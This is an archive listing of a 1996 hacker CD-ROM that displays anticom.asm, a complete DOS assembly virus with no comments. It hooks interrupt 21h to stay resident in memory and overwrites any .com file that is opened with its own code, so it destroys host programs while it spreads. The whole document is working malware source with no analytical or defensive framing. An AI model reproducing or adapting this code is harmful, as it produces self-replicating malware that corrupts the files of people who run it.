home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / anticom.asm < prev    next >
Encoding:
Assembly Source File  |  1996-04-22  |  1.8 KB  |  88 lines

  1. .model  tiny
  2. .code
  3.  
  4. IVOFS   EQU     100H
  5.         ORG     100H
  6.  
  7. ANTICOM:
  8.         call    IN_MEMORY
  9.         jnz     LOAD_VIRUS
  10.         ret
  11. LOAD_VIRUS:
  12.         mov     di,IVOFS + 100H
  13.         mov     si,100H
  14.         mov     cx,OFFSET END_ANTICOM - 105H
  15.         rep     movsb
  16.  
  17.         mov     bx,21H*4
  18.         xchg    ax,es:[bx+2]
  19.         mov     cx,ax
  20.         mov     ax,OFFSET INT_21 + IVOFS
  21.         xchg    ax,es:[bx]
  22.         mov     di,OFFSET OLD_21 + IVOFS
  23.         stosw
  24.         mov     ax,cx
  25.         stosw
  26.         ret
  27.  
  28. IN_MEMORY:
  29.         xor     ax,ax
  30.         mov     es,ax
  31.         mov     di,OFFSET INT_21 + IVOFS
  32.         mov     bp,sp
  33.         mov     si,[bp]
  34.         mov     bp,si
  35.         add     si,OFFSET INT_21 - 103H
  36.         mov     cx,10
  37.         repz    cmpsb
  38.         ret
  39.  
  40. OLD_21  DD      ?
  41. INT_21:
  42.         cmp     ah,3DH
  43.         je      FILE_OPEN
  44. I21E:   jmp     DWORD PTR cs:(OLD_21 + IVOFS)
  45.  
  46. FILE_OPEN:
  47.         push    ax
  48.         push    si
  49.         push    dx
  50.         push    ds
  51.         mov     si,dx
  52. FO1:    lodsb
  53.         or      al,al
  54.         jz      FEX
  55.         cmp     al,'.'
  56.         jne     FO1
  57.         lodsw
  58.         or      ax,2020H
  59.         cmp     ax,'oc'
  60.         jne     FEX
  61.         lodsb
  62.         or      al,20H
  63.         cmp     al,'m'
  64.         jne     FEX
  65.         mov     ax,3D02H
  66.         pushf
  67.         call    DWORD PTR cs:(OLD_21 + IVOFS)
  68.         jc      FEX
  69.         mov     bx,ax
  70.         push    cs
  71.         pop     ds
  72.         mov     ah,40H
  73.         mov     dx,IVOFS + 100H
  74.         mov     cx,OFFSET END_ANTICOM - 100H
  75.         int     21H
  76.         mov     ah,3EH
  77.         int     21H
  78. FEX:    pop     ds
  79.         pop     dx
  80.         pop     si
  81.         pop     ax
  82.         jmp     I21E
  83.  
  84. END_ANTICOM:
  85.  
  86.         END     ANTICOM
  87.  
  88.